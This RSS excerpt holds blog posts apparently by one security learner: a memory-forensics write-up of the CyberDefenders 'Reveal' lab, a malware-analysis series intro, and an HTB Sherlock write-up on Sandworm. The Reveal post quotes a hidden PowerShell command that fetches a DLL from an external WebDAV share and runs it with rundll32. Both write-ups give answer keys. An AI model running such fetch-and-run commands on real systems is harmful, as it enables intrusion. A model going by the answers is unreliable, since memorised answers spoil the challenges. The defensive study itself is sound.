src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Ff-fMdnUW4X4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Df-fMdnUW4X4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Ff-fMdnUW4X4%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/926c7b747e4b181e9d01267c317ccb0b/href">https://medium.com/media/926c7b747e4b181e9d01267c317ccb0b/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FKRctlgDTJz4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DKRctlgDTJz4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FKRctlgDTJz4%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6993afe5d8f885382cbc063ccb08ec63/href">https://medium.com/media/6993afe5d8f885382cbc063ccb08ec63/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fvideoseries%3Flist%3DPLgLVwK69OPbxA37i0Hn1S_Tj-eWNj2JYu&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fplaylist%3Flist%3DPLgLVwK69OPbxA37i0Hn1S_Tj-eWNj2JYu%26si%3DUssWPwXXyEs4toNS&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F_ZRRipGJMbI%2Fhqdefault.jpg%3Fsqp%3D-oaymwEXCOADEI4CSFryq4qpAwkIARUAAIhCGAE%3D%26rs%3DAOn4CLBVvAhEwK9VxXBCBoehonJeXPWXPA%26days_since_epoch%3D20129&amp;type=text%2Fhtml&amp;schema=youtube" width="853" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/61aa6bcd6372fa198bbb4525282346a2/href">https://medium.com/media/61aa6bcd6372fa198bbb4525282346a2/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/0*VZsuDt8hgv4Cb2if.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64535ad9ee70" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Reveal Lab]]></title>
            <link>https://medium.com/@yournextCISO/reveal-lab-5f0935799c7f?source=rss-e695c47bca91------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f0935799c7f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[dll-hijacking]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[YournextCISO]]></dc:creator>
            <pubDate>Sun, 09 Feb 2025 18:02:51 GMT</pubDate>
            <atom:updated>2025-02-09T18:02:51.357Z</atom:updated>
            <content:encoded><![CDATA[<p>Endpoint Forensics , Defense Evasion and Discovery</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*V1nfkvArVLesRMCzpIMyDQ.png" /></figure><p>Link: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/reveal/">https://cyberdefenders.org/blueteam-ctf-challenges/reveal/</a></p><h4>Scenario</h4><p>You are a forensic investigator at a financial institution, and your SIEM flagged unusual activity on a workstation with access to sensitive financial data. Suspecting a breach, you received a memory dump from the compromised machine. Your task is to analyze the memory for signs of compromise, trace the anomaly’s origin, and assess its scope to contain the incident effectively.</p><p>Given the dump file we have, we need to determine what type of system it was pulled from. To do this, we run vol -f &lt;filename&gt; windows.info:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jKjasTh6rqtFSOh7ugjWmw.png" /></figure><p>Memory forensics often involves identifying malicious activity that traditional tools might miss. Malware authors frequently use techniques like <strong>DLL injection</strong> or <strong>unlinking modules</strong> to hide their presence in a process’s memory. These techniques manipulate the Process Environment Block (PEB) to remove traces of malicious DLLs from standard module lists. Using the ldrmodules plugin in volatility will help us identify those descriptions in the module that were loaded, and normally they all have to be <strong>True</strong> but if you see <strong>False</strong> in any of the key lists, that should tell you that they weren’t loaded correctly or something else hijacked the process.</p><p>Runnig :</p><pre> vol -f 192-Reveal.dmp windows.ldrmodules | grep False</pre><p>Will show us this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOg09yFcK1SyCGeA8SAb0Q.png" /></figure><p>Subsequently we can use at commandline arguments run : vol -f &lt;filename&gt; windows.cmdline:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1uCIEnCZKQZ-rf5spZA7PA.png" /></figure><pre>powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry</pre><p>The command above basically is powershell being use to connect to a remote share , downloading a malicious dll and using rundll32 to run it. We can do a lookup on the IP to see if we have any hits:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O6juHyBJ9INuUdgfhreADg.png" /></figure><h4>Questions.</h4><ol><li>Identifying the name of the malicious process helps in understanding the nature of the attack. What is the name of the malicious process?<br>Earlier we saw it was powershell being used here.</li></ol><p><strong>Ans:</strong> powershell.exe</p><p>2. Knowing the parent process ID (PPID) of the malicious process aids in tracing the process hierarchy and understanding the attack flow. What is the parent PID of the malicious process?</p><p>To get this, we run the windows.pstree command, and the PPID will usually be in the second column:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FtOy9sdqL7jn8P7rnqgyzQ.png" /></figure><p><strong>Ans: </strong>4120</p><p>3. Determining the file name used by the malware for executing the second-stage payload is crucial for identifying subsequent malicious activities. What is the file name that the malware uses to execute the second-stage payload?</p><p>This was seen when we run the windows.cmdline and saw powershell being used to pull the 3435.dll and then use rundll32 to run it.</p><p><strong>Ans: </strong>3435.dll</p><p>4. Identifying the shared directory on the remote server helps trace the resources targeted by the attacker. What is the name of the shared directory being accessed on the remote server?</p><p><strong>Ans:</strong> davwwwroot</p><p>5. What is the MITRE ATT&amp;CK sub-technique ID that describes the execution of a second-stage payload using a Windows utility to run the malicious file?</p><p>Search on the<a href="https://attack.mitre.org/techniques"> mitre site</a> and look for information containing rundll32.exe, as it enables the execution of dynamic link libraries (DLL)</p><p><strong>Ans: </strong>T1218.011</p><p>6. Identifying the username under which the malicious process runs helps in assessing the compromised account and its potential impact. What is the username that the malicious process runs under?</p><p>We can run the vol -f &lt;filename&gt; getsids</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IX7fsY0fjRP3DZkf_7sSug.png" /></figure><p><strong>Ans: </strong>Elon</p><p>7. Knowing the name of the malware family is essential for correlating the attack with known threats and developing appropriate defenses. What is the name of the malware family?</p><p>We already saw this during the VirusTotal scan;</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*O6juHyBJ9INuUdgfhreADg.png" /></figure><p><strong>Ans: </strong>STRELASTEALER</p><h4>Resources.</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F3xAEsDT-4NA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D3xAEsDT-4NA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F3xAEsDT-4NA%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d7524696a3902a53141fb1bf2644ea67/href">https://medium.com/media/d7524696a3902a53141fb1bf2644ea67/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fdp-XIC1CPzI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Ddp-XIC1CPzI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fdp-XIC1CPzI%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/2293299e6b94c1632e17e7ecdd703252/href">https://medium.com/media/2293299e6b94c1632e17e7ecdd703252/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FcYphLiySAC4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DcYphLiySAC4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FcYphLiySAC4%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/fdcc885cde3d2e4da1a7c43538dcc6ad/href">https://medium.com/media/fdcc885cde3d2e4da1a7c43538dcc6ad/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f0935799c7f" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Malware Analysis Monday #1]]></title>
            <link>https://medium.com/@yournextCISO/malware-analysis-monday-1-1fb4b35669a2?source=rss-e695c47bca91------2</link>
            <guid isPermaLink="false">https://medium.com/p/1fb4b35669a2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[YournextCISO]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 12:04:30 GMT</pubDate>
            <atom:updated>2025-02-03T12:05:29.835Z</atom:updated>
            <content:encoded><![CDATA[<p>Journey of a thousand steps</p><h3>INTRO</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/0*f0pETUAvPAXZp9wD" /><figcaption><a href="https://x.com/Ox4d5a/status/1773021062797615555">https://x.com/Ox4d5a/status/1773021062797615555</a></figcaption></figure><p>Let’s start with an uncomfortable truth: malware analysis terrifies me.</p><p>As someone trying to break into cybersecurity, I’ve stared at disassembled code until my eyes crossed and once accidentally triggered a ransomware sample in my VM (pro tip: triple-check your network isolation). But here’s what I’ve learned and still learning: the path to whatever status we are trying to attain isn’t about knowing everything upfront. It’s about showing up every Monday, one malware-analysis step at a time.</p><p><strong>Why You Should Care About My Struggles</strong><br>I’m not here as an expert, but as someone:</p><ul><li>Who still Googles everything about malware and the “PE header structure” weekly.</li><li>Just a chill Opensource tool guy.</li><li>Believes every analyst’s first malware report should come with a panic button</li><li>Knows learning and putting into practice is the only way knowledge would stick</li><li>SOCs at cyber (yes , pun intended)</li></ul><p>This series is my public learning lab, where we’ll dissect real malware, celebrate small wins, and normalize the struggle. By documenting my (many) errors and breakthroughs, I hope to create the resource I wish I had when starting out or at least a shitty blog I can get back to sometime in the future and be in disbelief of how bad I was at the beginning .</p><p><strong>What to Expect Every Monday</strong></p><ol><li><strong>Fundamental Concept</strong>: Bite-sized theory even sleep-deprived brains can digest</li><li><strong>Practical Tear-Down</strong>: Real malware sample analysis with screenshots and “aha!” moments</li><li><strong>Challenge of the Week</strong>: Going through analysis every monday to test new skills and refine ones we have (VM recommended!)</li></ol><p><strong>Why Malware Analysis Matters</strong><br>In a world where:</p><ul><li>Ransomware gangs have better customer service than my ISP</li><li>APTs hide in TLS traffic like raccoons in dumpsters</li><li>Every IoT device is a potential botnet recruit</li><li>Cause SANS has a very cool blog about it <a href="https://www.sans.org/blog/how-you-can-start-learning-malware-analysis/">here</a>.</li><li>AI AI AI!!!!!!!!</li></ul><p>Understanding malware isn’t just cool; well I think it should be and I want it to be , but it’s critical. Each sample tells a story about attacker motives, infrastructure, and tradecraft. We’re not just breaking code; we’re profiling digital adversaries.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1fb4b35669a2" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[HTB UFO-1]]></title>
            <link>https://medium.com/@yournextCISO/htb-ufo-1-ee8d7556df7c?source=rss-e695c47bca91------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee8d7556df7c</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[YournextCISO]]></dc:creator>
            <pubDate>Tue, 28 Jan 2025 23:55:43 GMT</pubDate>
            <atom:updated>2025-01-28T23:55:43.260Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Sherlock : UFO-1</h3><p>Research , Aliens and more</p><h3>Sherlock Scenario</h3><p>Being in the ICS Industry, your security team always needs to be up to date and should be aware of the threats targeting organizations in your industry. You just started as a Threat intelligence intern, with a bit of SOC experience. Your manager has given you a task to test your skills in research and how well can you utilize Mitre Att&amp;ck to your advantage. Do your research on Sandworm Team, also known as BlackEnergy Group and APT44. Utilize Mitre ATT&amp;CK to understand how to map adversary behavior and tactics in actionable form. Smash the assessment and impress your manager as Threat intelligence is your passion.</p><ol><li>According to the sources cited by Mitre, in what year did the Sandworm Team begin operations?</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*okT5e5Oq53YReY5M364nTQ.png" /></figure><p>Ans: 2009</p><p>2. Mitre notes two credential access techniques used by the BlackEnergy group to access several hosts in the compromised network during a 2016 campaign against the Ukrainian electric power grid. One is LSASS Memory access (T1003.001). What is the Attack ID for the other?</p><p>To view this we need to take a look at the ATT&amp;CK Navigator of this <a href="https://mitre-attack.github.io/attack-navigator//#layerURL=https%3A%2F%2Fattack.mitre.org%2Fcampaigns%2FC0025%2FC0025-enterprise-layer.json">attack</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GgWG6gFi-IX6dHM0XxmFw.png" /></figure><p>Ans: T1110</p><p>3. During the 2016 campaign, the adversary was observed using a VBS script during their operations. What is the name of the VBS file?</p><p>Still on navigator we can right-click and view the technique used :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-Vd2Kg1qXsp5HFN3kzTgg.png" /></figure><p>Which brings us to this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*uImMhL1XHacUBYf6eIOIsQ.png" /></figure><p>which was then used to perform ateral transfer of ICS-specific payloads like 101.dllacross targeted systems</p><p>Ans: ufn.vbs</p><p>4. The APT conducted a major campaign in 2022. The server application was abused to maintain persistence. What is the Mitre Att&amp;ck ID for the persistence technique was used by the group to allow them remote access?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2mQMBjLJgRFrG3uPLawvnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zYyGgXoTPVazR-cwbUE4XQ.png" /></figure><p>Ans: T1505.003</p><p>5. What is the name of the malware / tool used in question 4?</p><p>Ans: Neo-REGEORG</p><p>6. Which SCADA application binary was abused by the group to achieve code execution on SCADA Systems in the same campaign in 2022?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kwrc8iYkANQSrib4qhYoIQ.png" /></figure><p>Ans: scilc.exe</p><p>7. Identify the full command line associated with the execution of the tool from question 6 to perform actions against substations in the SCADA environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*OvOC5j5aEOP871dlmevLBw.png" /></figure><p>Ans: C:\sc\prog\exec\scilc.exe -do pack\scil\s1.txt</p><p>8.What malware/tool was used to carry out data destruction in a compromised environment during the same campaign?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hCpkx6wu3WtFc9h9wJj3kg.png" /></figure><p>Ans: CaddyWiper</p><p>9. The malware/tool identified in question 8 also had additional capabilities. What is the Mitre Att&amp;ck ID of the specific technique it could perform in Execution tactic?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*PWCyFmotB3cbcvVFCjVg3Q.png" /></figure><p>Ans: T1106</p><p>10. The Sandworm Team is known to use different tools in their campaigns. They are associated with an auto-spreading malware that acted as ransomware while having worm-like features. What is the name of this malware?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QhlsS7sJEZlM12mlPWn0og.png" /></figure><p>Ans: NotPetya</p><p>11. What was the Microsoft security bulletin ID for the vulnerability that the malware from question 10 used to spread around the world?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FqB5I-6HHAfki84q1HSJjQ.png" /></figure><p>Ans: MS17–010</p><p>12. What is the name of the malware/tool used by the group to target modems?</p><p>Just searched for the malware keyword on the main Mitre page for Sandstorm and you’ll get it :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0zgOwF0bR499sdftleoQQ.png" /></figure><p>Ans: AcidRain</p><p>13. Threat Actors also use non-standard ports across their infrastructure for Operational-Security purposes. On which port did the Sandworm team reportedly establish their SSH server for listening?</p><p>Checking under the C&amp;C we could see the technique of non-standard ports being used :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ne9q5xrrs7xDWc3a6zvRBw.png" /></figure><p>Ans: 6789</p><p>14. The Sandworm Team has been assisted by another APT group on various operations. Which specific group is known to have collaborated with them?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1W9Z9du6i6uIt9emxmmeEw.png" /></figure><p>Ans: APT28</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee8d7556df7c" width="1" height="1" alt="">]]></content:encoded>
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